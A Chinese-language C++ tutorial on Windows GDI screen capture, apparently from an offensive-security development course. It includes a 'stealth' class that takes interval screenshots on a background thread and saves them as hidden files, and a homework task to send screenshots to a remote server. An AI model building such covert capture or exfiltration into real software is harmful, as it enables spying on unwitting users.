安全开发专题

5、屏幕截屏

1、课程目标

  1. 理解Windows图形设备接口(GDI)
  2. 掌握屏幕截图技术实现
  3. 实现高效的屏幕捕获功能
  4. 了解图像格式转换和保存

2、名词解释

术语全称解释
GDIGraphics Device InterfaceWindows图形设备接口
BitBltBit Block Transfer位块传输
HDCHandle to Device Context设备上下文句柄
Bitmap位图图像数据结构

3、技术原理

1. Windows图形系统

Windows图形架构:
┌─────────────────────────────────────┐
│           应用程序                  │
├─────────────────────────────────────┤
│           GDI/GDI+                  │
├─────────────────────────────────────┤
│         Device Drivers              │
├─────────────────────────────────────┤
│         Graphics Hardware           │
└─────────────────────────────────────┘

屏幕截图原理:
1. 获取屏幕设备上下文(HDC)
2. 创建兼容的内存设备上下文
3. 创建位图对象
4. 将屏幕内容复制到位图
5. 保存位图数据

2. 屏幕截图技术

主要API:
GetDC()          - 获取设备上下文
CreateCompatibleDC() - 创建兼容DC
CreateCompatibleBitmap() - 创建兼容位图
BitBlt()         - 位块传输
GetDIBits()      - 获取位图数据

3、代码实现

1. 基础屏幕截图实现

// screen_capture.cpp
// 基础屏幕截图实现

#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>

// BMP文件头结构
#pragma pack(push, 1)
typedef struct {
    WORD    bfType;
    DWORD   bfSize;
    WORD    bfReserved1;
    WORD    bfReserved2;
    DWORD   bfOffBits;
} BITMAPFILEHEADER_COMPAT;
#pragma pack(pop)

// 屏幕截图类
class ScreenCapture {
public:
    // 截取全屏
    static bool CaptureScreen(const char* filename) {
        // 获取屏幕尺寸
        int screenWidth = GetSystemMetrics(SM_CXSCREEN);
        int screenHeight = GetSystemMetrics(SM_CYSCREEN);
        
        // 获取屏幕DC
        HDC hScreenDC = GetDC(NULL);
        if (!hScreenDC) {
            printf("[-] Failed to get screen DC\n");
            return false;
        }
        
        // 创建兼容的内存DC
        HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
        if (!hMemoryDC) {
            ReleaseDC(NULL, hScreenDC);
            printf("[-] Failed to create memory DC\n");
            return false;
        }
        
        // 创建兼容位图
        HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight);
        if (!hBitmap) {
            DeleteDC(hMemoryDC);
            ReleaseDC(NULL, hScreenDC);
            printf("[-] Failed to create bitmap\n");
            return false;
        }
        
        // 选择位图到内存DC
        HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
        
        // 复制屏幕到内存DC
        if (!BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight, 
                   hScreenDC, 0, 0, SRCCOPY)) {
            printf("[-] BitBlt failed\n");
            SelectObject(hMemoryDC, hOldBitmap);
            DeleteObject(hBitmap);
            DeleteDC(hMemoryDC);
            ReleaseDC(NULL, hScreenDC);
            return false;
        }
        
        // 保存位图到文件
        bool result = SaveBitmapToFile(hBitmap, hMemoryDC, filename);
        
        // 清理资源
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(NULL, hScreenDC);
        
        return result;
    }
    
    // 截取指定区域
    static bool CaptureRegion(int x, int y, int width, int height, const char* filename) {
        // 获取屏幕DC
        HDC hScreenDC = GetDC(NULL);
        if (!hScreenDC) return false;
        
        // 创建内存DC
        HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
        if (!hMemoryDC) {
            ReleaseDC(NULL, hScreenDC);
            return false;
        }
        
        // 创建位图
        HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, width, height);
        if (!hBitmap) {
            DeleteDC(hMemoryDC);
            ReleaseDC(NULL, hScreenDC);
            return false;
        }
        
        // 选择位图
        HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
        
        // 复制指定区域
        if (!BitBlt(hMemoryDC, 0, 0, width, height, 
                   hScreenDC, x, y, SRCCOPY)) {
            SelectObject(hMemoryDC, hOldBitmap);
            DeleteObject(hBitmap);
            DeleteDC(hMemoryDC);
            ReleaseDC(NULL, hScreenDC);
            return false;
        }
        
        // 保存位图
        bool result = SaveBitmapToFile(hBitmap, hMemoryDC, filename);
        
        // 清理
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(NULL, hScreenDC);
        
        return result;
    }
    
private:
    // 保存位图为BMP文件
    static bool SaveBitmapToFile(HBITMAP hBitmap, HDC hDC, const char* filename) {
        // 获取位图信息
        BITMAP bmp;
        if (!GetObject(hBitmap, sizeof(BITMAP), &bmp)) {
            return false;
        }
        
        // 准备BITMAPINFO结构
        BITMAPINFOHEADER bi = {0};
        bi.biSize = sizeof(BITMAPINFOHEADER);
        bi.biWidth = bmp.bmWidth;
        bi.biHeight = bmp.bmHeight;
        bi.biPlanes = 1;
        bi.biBitCount = 24;
        bi.biCompression = BI_RGB;
        bi.biSizeImage = 0;
        
        // 计算行大小(4字节对齐)
        DWORD dwBmpSize = ((bmp.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmp.bmHeight;
        
        // 分配内存存储位图数据
        std::vector<BYTE> bmpData(dwBmpSize);
        
        // 获取位图数据
        if (!GetDIBits(hDC, hBitmap, 0, bmp.bmHeight, 
                      bmpData.data(), (BITMAPINFO*)&bi, DIB_RGB_COLORS)) {
            return false;
        }
        
        // 创建文件
        HANDLE hFile = CreateFileA(
            filename,
            GENERIC_WRITE,
            0,
            NULL,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );
        
        if (hFile == INVALID_HANDLE_VALUE) {
            return false;
        }
        
        // 写入文件头
        BITMAPFILEHEADER_COMPAT bmfHeader = {0};
        bmfHeader.bfType = 0x4D42; // "BM"
        bmfHeader.bfSize = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER) + dwBmpSize;
        bmfHeader.bfOffBits = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER);
        
        DWORD written;
        WriteFile(hFile, &bmfHeader, sizeof(BITMAPFILEHEADER_COMPAT), &written, NULL);
        WriteFile(hFile, &bi, sizeof(BITMAPINFOHEADER), &written, NULL);
        WriteFile(hFile, bmpData.data(), dwBmpSize, &written, NULL);
        
        CloseHandle(hFile);
        
        printf("[+] Screenshot saved: %s (%dx%d)\n", filename, bmp.bmWidth, bmp.bmHeight);
        return true;
    }
};

// 测试函数
void TestScreenCapture() {
    printf("=== Screen Capture Test ===\n");
    
    // 截取全屏
    if (ScreenCapture::CaptureScreen("screenshot_full.bmp")) {
        printf("[+] Full screen captured\n");
    }
    
    // 截取指定区域
    if (ScreenCapture::CaptureRegion(100, 100, 800, 600, "screenshot_region.bmp")) {
        printf("[+] Region captured\n");
    }
}

2. 高级屏幕截图技术

// advanced_screen_capture.cpp
// 高级屏幕截图技术

#include <windows.h>
#include <gdiplus.h>
#include <stdio.h>
#include <string>
#include <vector>

#pragma comment(lib, "gdiplus.lib")

// 高级屏幕截图类
class AdvancedScreenCapture {
private:
    static ULONG_PTR gdiplusToken;
    
public:
    // 初始化GDI+
    static bool InitializeGDIPlus() {
        Gdiplus::GdiplusStartupInput gdiplusStartupInput;
        return (Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) == Gdiplus::Ok);
    }
    
    // 清理GDI+
    static void ShutdownGDIPlus() {
        Gdiplus::GdiplusShutdown(gdiplusToken);
    }
    
    // 截取屏幕并保存为PNG
    static bool CaptureScreenToPNG(const char* filename) {
        // 获取屏幕尺寸
        int screenWidth = GetSystemMetrics(SM_CXSCREEN);
        int screenHeight = GetSystemMetrics(SM_CYSCREEN);
        
        // 获取屏幕DC
        HDC hScreenDC = GetDC(NULL);
        if (!hScreenDC) return false;
        
        // 创建内存DC
        HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
        if (!hMemoryDC) {
            ReleaseDC(NULL, hScreenDC);
            return false;
        }
        
        // 创建DIB段
        BITMAPINFO bmi = {0};
        bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
        bmi.bmiHeader.biWidth = screenWidth;
        bmi.bmiHeader.biHeight = -screenHeight; // 负值表示顶-down DIB
        bmi.bmiHeader.biPlanes = 1;
        bmi.bmiHeader.biBitCount = 32;
        bmi.bmiHeader.biCompression = BI_RGB;
        
        VOID* bits = nullptr;
        HBITMAP hBitmap = CreateDIBSection(hMemoryDC, &bmi, DIB_RGB_COLORS, &bits, NULL, 0);
        if (!hBitmap) {
            DeleteDC(hMemoryDC);
            ReleaseDC(NULL, hScreenDC);
            return false;
        }
        
        // 选择位图
        HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
        
        // 复制屏幕内容
        BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight, hScreenDC, 0, 0, SRCCOPY);
        
        // 创建GDI+ Bitmap
        Gdiplus::Bitmap* pBitmap = new Gdiplus::Bitmap(screenWidth, screenHeight, 
                                                       screenWidth * 4, PixelFormat32bppARGB, 
                                                       (BYTE*)bits);
        
        // 保存为PNG
        CLSID clsid;
        GetEncoderClsid(L"image/png", &clsid);
        
        std::wstring wFilename(filename, filename + strlen(filename));
        Gdiplus::Status status = pBitmap->Save(wFilename.c_str(), &clsid, NULL);
        
        // 清理
        delete pBitmap;
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(NULL, hScreenDC);
        
        return (status == Gdiplus::Ok);
    }
    
    // 截取活动窗口
    static bool CaptureActiveWindow(const char* filename) {
        // 获取活动窗口
        HWND hWnd = GetForegroundWindow();
        if (!hWnd) return false;
        
        // 获取窗口位置和大小
        RECT rect;
        GetWindowRect(hWnd, &rect);
        
        int width = rect.right - rect.left;
        int height = rect.bottom - rect.top;
        
        // 获取窗口DC
        HDC hWindowDC = GetDC(hWnd);
        if (!hWindowDC) return false;
        
        // 创建内存DC
        HDC hMemoryDC = CreateCompatibleDC(hWindowDC);
        if (!hMemoryDC) {
            ReleaseDC(hWnd, hWindowDC);
            return false;
        }
        
        // 创建位图
        HBITMAP hBitmap = CreateCompatibleBitmap(hWindowDC, width, height);
        if (!hBitmap) {
            DeleteDC(hMemoryDC);
            ReleaseDC(hWnd, hWindowDC);
            return false;
        }
        
        // 选择位图
        HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
        
        // 复制窗口内容
        PrintWindow(hWnd, hMemoryDC, PW_CLIENTONLY);
        
        // 保存位图
        bool result = SaveBitmapToJPEG(hBitmap, hMemoryDC, filename);
        
        // 清理
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(hWnd, hWindowDC);
        
        return result;
    }
    
private:
    // 获取图像编码器CLSID
    static int GetEncoderClsid(const WCHAR* format, CLSID* pClsid) {
        UINT num = 0;
        UINT size = 0;
        
        Gdiplus::GetImageEncodersSize(&num, &size);
        if (size == 0) return -1;
        
        Gdiplus::ImageCodecInfo* pImageCodecInfo = (Gdiplus::ImageCodecInfo*)malloc(size);
        if (!pImageCodecInfo) return -1;
        
        Gdiplus::GetImageEncoders(num, size, pImageCodecInfo);
        
        for (UINT i = 0; i < num; ++i) {
            if (wcscmp(pImageCodecInfo[i].MimeType, format) == 0) {
                *pClsid = pImageCodecInfo[i].Clsid;
                free(pImageCodecInfo);
                return i;
            }
        }
        
        free(pImageCodecInfo);
        return -1;
    }
    
    // 保存位图为JPEG
    static bool SaveBitmapToJPEG(HBITMAP hBitmap, HDC hDC, const char* filename) {
        // 获取位图信息
        BITMAP bmp;
        GetObject(hBitmap, sizeof(BITMAP), &bmp);
        
        // 创建GDI+ Bitmap
        Gdiplus::Bitmap* pBitmap = Gdiplus::Bitmap::FromHBITMAP(hBitmap, NULL);
        if (!pBitmap) return false;
        
        // 设置JPEG质量参数
        Gdiplus::EncoderParameters encoderParams;
        encoderParams.Count = 1;
        encoderParams.Parameter[0].Guid = Gdiplus::EncoderQuality;
        encoderParams.Parameter[0].Type = Gdiplus::EncoderParameterValueTypeLong;
        encoderParams.Parameter[0].NumberOfValues = 1;
        
        ULONG quality = 90;
        encoderParams.Parameter[0].Value = &quality;
        
        // 获取JPEG编码器
        CLSID clsid;
        GetEncoderClsid(L"image/jpeg", &clsid);
        
        // 转换文件名为宽字符
        std::wstring wFilename(filename, filename + strlen(filename));
        
        // 保存
        Gdiplus::Status status = pBitmap->Save(wFilename.c_str(), &clsid, &encoderParams);
        
        delete pBitmap;
        return (status == Gdiplus::Ok);
    }
};

// GDI+ Token
ULONG_PTR AdvancedScreenCapture::gdiplusToken = 0;

// 测试高级截图功能
void TestAdvancedCapture() {
    printf("=== Advanced Screen Capture Test ===\n");
    
    // 初始化GDI+
    if (!AdvancedScreenCapture::InitializeGDIPlus()) {
        printf("[-] Failed to initialize GDI+\n");
        return;
    }
    
    // 截取屏幕保存为PNG
    if (AdvancedScreenCapture::CaptureScreenToPNG("advanced_screenshot.png")) {
        printf("[+] Screen captured to PNG\n");
    }
    
    // 截取活动窗口保存为JPEG
    if (AdvancedScreenCapture::CaptureActiveWindow("active_window.jpg")) {
        printf("[+] Active window captured to JPEG\n");
    }
    
    // 清理GDI+
    AdvancedScreenCapture::ShutdownGDIPlus();
}

3. 隐蔽屏幕截图实现

// stealth_screen_capture.cpp
// 隐蔽屏幕截图实现

#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>
#include <thread>
#include <chrono>

// 隐蔽屏幕截图类
class StealthScreenCapture {
private:
    bool m_enabled;
    std::string m_outputDir;
    int m_interval; // 截图间隔(秒)
    
public:
    StealthScreenCapture() : m_enabled(false), m_interval(30) {}
    
    // 设置输出目录
    void SetOutputDirectory(const char* dir) {
        m_outputDir = dir;
        CreateDirectoryA(dir, NULL);
    }
    
    // 设置截图间隔
    void SetInterval(int seconds) {
        m_interval = seconds;
    }
    
    // 启动隐蔽截图
    void Start() {
        if (m_enabled) return;
        
        m_enabled = true;
        printf("[+] Stealth screen capture started\n");
        
        // 启动截图线程
        std::thread captureThread(&StealthScreenCapture::CaptureThread, this);
        captureThread.detach();
    }
    
    // 停止隐蔽截图
    void Stop() {
        m_enabled = false;
        printf("[+] Stealth screen capture stopped\n");
    }
    
    // 检查是否启用
    bool IsEnabled() const {
        return m_enabled;
    }
    
private:
    // 截图线程
    void CaptureThread() {
        int counter = 0;
        
        while (m_enabled) {
            // 生成文件名
            char filename[MAX_PATH];
            sprintf_s(filename, "%s\\capture_%04d.bmp", m_outputDir.c_str(), counter++);
            
            // 截图
            if (CaptureSilent(filename)) {
                printf("[+] Screenshot saved: %s\n", filename);
            }
            
            // 等待下一次截图
            for (int i = 0; i < m_interval && m_enabled; i++) {
                std::this_thread::sleep_for(std::chrono::seconds(1));
            }
        }
    }
    
    // 隐蔽截图(无提示)
    bool CaptureSilent(const char* filename) {
        // 隐藏光标
        ShowCursor(FALSE);
        
        // 获取屏幕尺寸
        int screenWidth = GetSystemMetrics(SM_CXSCREEN);
        int screenHeight = GetSystemMetrics(SM_CYSCREEN);
        
        // 获取屏幕DC
        HDC hScreenDC = GetDC(NULL);
        if (!hScreenDC) {
            ShowCursor(TRUE);
            return false;
        }
        
        // 创建内存DC
        HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
        if (!hMemoryDC) {
            ReleaseDC(NULL, hScreenDC);
            ShowCursor(TRUE);
            return false;
        }
        
        // 创建位图
        HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight);
        if (!hBitmap) {
            DeleteDC(hMemoryDC);
            ReleaseDC(NULL, hScreenDC);
            ShowCursor(TRUE);
            return false;
        }
        
        // 选择位图
        HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
        
        // 复制屏幕内容
        BOOL result = BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight,
                            hScreenDC, 0, 0, SRCCOPY);
        
        // 恢复光标
        ShowCursor(TRUE);
        
        if (result) {
            // 保存位图
            result = SaveBitmapToFile(hBitmap, hMemoryDC, filename);
        }
        
        // 清理资源
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(NULL, hScreenDC);
        
        return (result != FALSE);
    }
    
    // 保存位图文件(静默)
    bool SaveBitmapToFile(HBITMAP hBitmap, HDC hDC, const char* filename) {
        BITMAP bmp;
        GetObject(hBitmap, sizeof(BITMAP), &bmp);
        
        BITMAPINFOHEADER bi = {0};
        bi.biSize = sizeof(BITMAPINFOHEADER);
        bi.biWidth = bmp.bmWidth;
        bi.biHeight = bmp.bmHeight;
        bi.biPlanes = 1;
        bi.biBitCount = 24;
        bi.biCompression = BI_RGB;
        
        DWORD dwBmpSize = ((bmp.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmp.bmHeight;
        std::vector<BYTE> bmpData(dwBmpSize);
        
        if (!GetDIBits(hDC, hBitmap, 0, bmp.bmHeight, 
                      bmpData.data(), (BITMAPINFO*)&bi, DIB_RGB_COLORS)) {
            return false;
        }
        
        // 创建隐藏文件
        HANDLE hFile = CreateFileA(
            filename,
            GENERIC_WRITE,
            0,
            NULL,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_HIDDEN,
            NULL
        );
        
        if (hFile == INVALID_HANDLE_VALUE) {
            return false;
        }
        
        BITMAPFILEHEADER_COMPAT bmfHeader = {0};
        bmfHeader.bfType = 0x4D42;
        bmfHeader.bfSize = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER) + dwBmpSize;
        bmfHeader.bfOffBits = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER);
        
        DWORD written;
        WriteFile(hFile, &bmfHeader, sizeof(BITMAPFILEHEADER_COMPAT), &written, NULL);
        WriteFile(hFile, &bi, sizeof(BITMAPINFOHEADER), &written, NULL);
        WriteFile(hFile, bmpData.data(), dwBmpSize, &written, NULL);
        
        CloseHandle(hFile);
        return true;
    }
};

// 测试隐蔽截图
void TestStealthCapture() {
    printf("=== Stealth Screen Capture Test ===\n");
    
    StealthScreenCapture capture;
    capture.SetOutputDirectory("captures");
    capture.SetInterval(10); // 10秒间隔
    
    capture.Start();
    
    printf("[*] Stealth capture running for 60 seconds...\n");
    Sleep(60000); // 运行1分钟
    
    capture.Stop();
    printf("[*] Stealth capture test completed\n");
}

4. 屏幕截图管理器

// screenshot_manager.cpp
// 屏幕截图管理器

#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>
#include <algorithm>

// 截图格式枚举
enum class CaptureFormat {
    BMP,
    JPEG,
    PNG
};

// 截图区域类型
enum class CaptureArea {
    FullScreen,
    ActiveWindow,
    CustomRegion
};

// 截图管理器
class ScreenshotManager {
private:
    std::string m_outputDir;
    CaptureFormat m_format;
    int m_quality; // JPEG/PNG质量 (1-100)
    bool m_timestamp; // 是否添加时间戳
    
public:
    ScreenshotManager() : m_format(CaptureFormat::BMP), 
                         m_quality(90), m_timestamp(true) {
        SetOutputDirectory(".");
    }
    
    // 设置输出目录
    void SetOutputDirectory(const char* dir) {
        m_outputDir = dir;
        CreateDirectoryA(dir, NULL);
    }
    
    // 设置截图格式
    void SetFormat(CaptureFormat format) {
        m_format = format;
    }
    
    // 设置图像质量
    void SetQuality(int quality) {
        m_quality = std::max(1, std::min(100, quality));
    }
    
    // 设置时间戳
    void SetTimestamp(bool enable) {
        m_timestamp = enable;
    }
    
    // 截取屏幕
    bool CaptureScreen(CaptureArea area = CaptureArea::FullScreen, 
                      int x = 0, int y = 0, int width = 0, int height = 0) {
        std::string filename = GenerateFilename();
        
        switch (area) {
            case CaptureArea::FullScreen:
                return CaptureFullScreen(filename.c_str());
                
            case CaptureArea::ActiveWindow:
                return CaptureActiveWindow(filename.c_str());
                
            case CaptureArea::CustomRegion:
                return CaptureRegion(x, y, width, height, filename.c_str());
                
            default:
                return false;
        }
    }
    
    // 批量截图
    int BatchCapture(int count, int intervalMs) {
        int successCount = 0;
        
        for (int i = 0; i < count; i++) {
            if (CaptureScreen()) {
                successCount++;
            }
            
            if (i < count - 1) {
                Sleep(intervalMs);
            }
        }
        
        return successCount;
    }
    
private:
    // 生成文件名
    std::string GenerateFilename() {
        char filename[MAX_PATH];
        
        if (m_timestamp) {
            SYSTEMTIME st;
            GetLocalTime(&st);
            sprintf_s(filename, "%s\\screenshot_%04d%02d%02d_%02d%02d%02d.%s",
                     m_outputDir.c_str(),
                     st.wYear, st.wMonth, st.wDay,
                     st.wHour, st.wMinute, st.wSecond,
                     GetExtension());
        } else {
            static int counter = 0;
            sprintf_s(filename, "%s\\screenshot_%04d.%s",
                     m_outputDir.c_str(), counter++, GetExtension());
        }
        
        return std::string(filename);
    }
    
    // 获取文件扩展名
    const char* GetExtension() {
        switch (m_format) {
            case CaptureFormat::BMP: return "bmp";
            case CaptureFormat::JPEG: return "jpg";
            case CaptureFormat::PNG: return "png";
            default: return "bmp";
        }
    }
    
    // 截取全屏
    bool CaptureFullScreen(const char* filename) {
        int screenWidth = GetSystemMetrics(SM_CXSCREEN);
        int screenHeight = GetSystemMetrics(SM_CYSCREEN);
        
        HDC hScreenDC = GetDC(NULL);
        HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
        HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, screenWidth, screenHeight);
        
        HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
        BitBlt(hMemoryDC, 0, 0, screenWidth, screenHeight, hScreenDC, 0, 0, SRCCOPY);
        
        bool result = SaveBitmap(hBitmap, hMemoryDC, filename);
        
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(NULL, hScreenDC);
        
        return result;
    }
    
    // 截取活动窗口
    bool CaptureActiveWindow(const char* filename) {
        HWND hWnd = GetForegroundWindow();
        if (!hWnd) return false;
        
        RECT rect;
        GetWindowRect(hWnd, &rect);
        
        int width = rect.right - rect.left;
        int height = rect.bottom - rect.top;
        
        HDC hWindowDC = GetDC(hWnd);
        HDC hMemoryDC = CreateCompatibleDC(hWindowDC);
        HBITMAP hBitmap = CreateCompatibleBitmap(hWindowDC, width, height);
        
        HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
        PrintWindow(hWnd, hMemoryDC, PW_CLIENTONLY);
        
        bool result = SaveBitmap(hBitmap, hMemoryDC, filename);
        
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(hWnd, hWindowDC);
        
        return result;
    }
    
    // 截取指定区域
    bool CaptureRegion(int x, int y, int width, int height, const char* filename) {
        HDC hScreenDC = GetDC(NULL);
        HDC hMemoryDC = CreateCompatibleDC(hScreenDC);
        HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, width, height);
        
        HGDIOBJ hOldBitmap = SelectObject(hMemoryDC, hBitmap);
        BitBlt(hMemoryDC, 0, 0, width, height, hScreenDC, x, y, SRCCOPY);
        
        bool result = SaveBitmap(hBitmap, hMemoryDC, filename);
        
        SelectObject(hMemoryDC, hOldBitmap);
        DeleteObject(hBitmap);
        DeleteDC(hMemoryDC);
        ReleaseDC(NULL, hScreenDC);
        
        return result;
    }
    
    // 保存位图
    bool SaveBitmap(HBITMAP hBitmap, HDC hDC, const char* filename) {
        switch (m_format) {
            case CaptureFormat::BMP:
                return SaveAsBMP(hBitmap, hDC, filename);
                
            case CaptureFormat::JPEG:
                return SaveAsJPEG(hBitmap, hDC, filename);
                
            case CaptureFormat::PNG:
                return SaveAsPNG(hBitmap, hDC, filename);
                
            default:
                return SaveAsBMP(hBitmap, hDC, filename);
        }
    }
    
    // 保存为BMP
    bool SaveAsBMP(HBITMAP hBitmap, HDC hDC, const char* filename) {
        BITMAP bmp;
        GetObject(hBitmap, sizeof(BITMAP), &bmp);
        
        BITMAPINFOHEADER bi = {0};
        bi.biSize = sizeof(BITMAPINFOHEADER);
        bi.biWidth = bmp.bmWidth;
        bi.biHeight = bmp.bmHeight;
        bi.biPlanes = 1;
        bi.biBitCount = 24;
        bi.biCompression = BI_RGB;
        
        DWORD dwBmpSize = ((bmp.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmp.bmHeight;
        std::vector<BYTE> bmpData(dwBmpSize);
        
        if (!GetDIBits(hDC, hBitmap, 0, bmp.bmHeight, 
                      bmpData.data(), (BITMAPINFO*)&bi, DIB_RGB_COLORS)) {
            return false;
        }
        
        HANDLE hFile = CreateFileA(filename, GENERIC_WRITE, 0, NULL,
                                  CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        
        if (hFile == INVALID_HANDLE_VALUE) {
            return false;
        }
        
        BITMAPFILEHEADER_COMPAT bmfHeader = {0};
        bmfHeader.bfType = 0x4D42;
        bmfHeader.bfSize = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER) + dwBmpSize;
        bmfHeader.bfOffBits = sizeof(BITMAPFILEHEADER_COMPAT) + sizeof(BITMAPINFOHEADER);
        
        DWORD written;
        WriteFile(hFile, &bmfHeader, sizeof(BITMAPFILEHEADER_COMPAT), &written, NULL);
        WriteFile(hFile, &bi, sizeof(BITMAPINFOHEADER), &written, NULL);
        WriteFile(hFile, bmpData.data(), dwBmpSize, &written, NULL);
        
        CloseHandle(hFile);
        return true;
    }
    
    // 保存为JPEG(简化实现)
    bool SaveAsJPEG(HBITMAP hBitmap, HDC hDC, const char* filename) {
        // 简化实现,实际需要使用GDI+或其他库
        return SaveAsBMP(hBitmap, hDC, filename);
    }
    
    // 保存为PNG(简化实现)
    bool SaveAsPNG(HBITMAP hBitmap, HDC hDC, const char* filename) {
        // 简化实现,实际需要使用GDI+或其他库
        return SaveAsBMP(hBitmap, hDC, filename);
    }
};

// 测试截图管理器
void TestScreenshotManager() {
    printf("=== Screenshot Manager Test ===\n");
    
    ScreenshotManager manager;
    manager.SetOutputDirectory("screenshots");
    manager.SetFormat(CaptureFormat::BMP);
    manager.SetTimestamp(true);
    
    // 单次截图
    if (manager.CaptureScreen()) {
        printf("[+] Single screenshot captured\n");
    }
    
    // 批量截图
    int captured = manager.BatchCapture(3, 2000); // 3张截图,间隔2秒
    printf("[+] Batch captured %d screenshots\n", captured);
}

5、课后作业

5.1、作业1:实现视频录制功能

扩展屏幕截图功能,实现连续截图并合成视频的功能。

5.2、作业2:添加图像压缩功能

实现截图的压缩存储,减小文件大小。

5.3、作业3:实现远程传输功能

添加将截图实时传输到远程服务器的功能。